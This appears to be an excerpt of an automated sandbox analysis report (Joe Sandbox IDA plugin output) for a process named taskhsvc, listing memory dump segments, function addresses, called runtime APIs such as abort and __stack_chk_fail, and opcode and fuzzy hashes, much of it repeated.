                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortfree
                                                                                                                          • String ID: `b$`t
                                                                                                                          • API String ID: 919459091-3504061109
                                                                                                                          • Opcode ID: db2523e0b041cfb4b7d55a962e238d87c677028dcb2236de4f38a706b406c529
                                                                                                                          • Instruction ID: d49343e9efec65efecf79f8e9520229de9053e95562b82d0114d91aea4bb060d
                                                                                                                          • Opcode Fuzzy Hash: db2523e0b041cfb4b7d55a962e238d87c677028dcb2236de4f38a706b406c529
                                                                                                                          • Instruction Fuzzy Hash: 6151C5B4909305DFC740EFA9D18596EBBF0BF88300F02986AE898A7311D7749941DF52
                                                                                                                          Function 00C04071 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C05072), ref: 00C04145
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C05072), ref: 00C041C6
                                                                                                                            • Part of subcall function 00C034DB: abort.MSVCRT ref: 00C035A1
                                                                                                                            • Part of subcall function 00C034DB: memset.MSVCRT ref: 00C035BC
                                                                                                                            • Part of subcall function 00C034DB: __stack_chk_fail.LIBSSP-0 ref: 00C035CF
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C05072), ref: 00C0419E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$strrchr$memset
                                                                                                                          • String ID: UQ
                                                                                                                          • API String ID: 1279798642-827536826
                                                                                                                          • Opcode ID: 97537d2d14e4b75338e0129ef64f4e06a429faa21bf6cb9fcc865556b70ffee9
                                                                                                                          • Instruction ID: 7f2bbf0302e3f562b146a323c42e0d15cb87ea7680271033692ba3ae85678c2b
                                                                                                                          • Opcode Fuzzy Hash: 97537d2d14e4b75338e0129ef64f4e06a429faa21bf6cb9fcc865556b70ffee9
                                                                                                                          • Instruction Fuzzy Hash: 0441B4B4A0461A9FCB04EFA9C4859AEFBF0FF48304F019859E964AB351D778E941CF61
                                                                                                                          Function 00D465E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D45CFA: abort.MSVCRT ref: 00D45D72
                                                                                                                            • Part of subcall function 00D45CFA: abort.MSVCRT ref: 00D45DB1
                                                                                                                            • Part of subcall function 00D45CFA: abort.MSVCRT ref: 00D45DF6
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D46762
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_fail
                                                                                                                          • String ID: m
                                                                                                                          • API String ID: 2908038143-1902112267
                                                                                                                          • Opcode ID: b2c6f90e9913fcda319480281163f325e32c4cae5d02486a94ac418fa702abec
                                                                                                                          • Instruction ID: 27b132d61ef9b3ad878d13bfe37de25d4e54ab82e366910a605fee97bb35a31f
                                                                                                                          • Opcode Fuzzy Hash: b2c6f90e9913fcda319480281163f325e32c4cae5d02486a94ac418fa702abec
                                                                                                                          • Instruction Fuzzy Hash: 3E41CEB4A047099FCB00EFA8C585A9EBBF1FF49314F108859E499AB350D774E944CF62
                                                                                                                          Function 00C05005 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort
                                                                                                                          • String ID: OS
                                                                                                                          • API String ID: 3276312271-2970251794
                                                                                                                          • Opcode ID: 4dc391ea763025182202c51573c1892fdceff2978fd4a5ebc342f4268b33c517
                                                                                                                          • Instruction ID: 9d99f9502d4dbd0c500d3ba5ac7652058bc3577c58a5a5763b1fcbe603829223
                                                                                                                          • Opcode Fuzzy Hash: 4dc391ea763025182202c51573c1892fdceff2978fd4a5ebc342f4268b33c517
                                                                                                                          • Instruction Fuzzy Hash: 15417FB4A046199FCB04DFA8C585AAEBBF1BF48304F118859E864EB351D735EE41CF61
                                                                                                                          Function 00BE77B4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
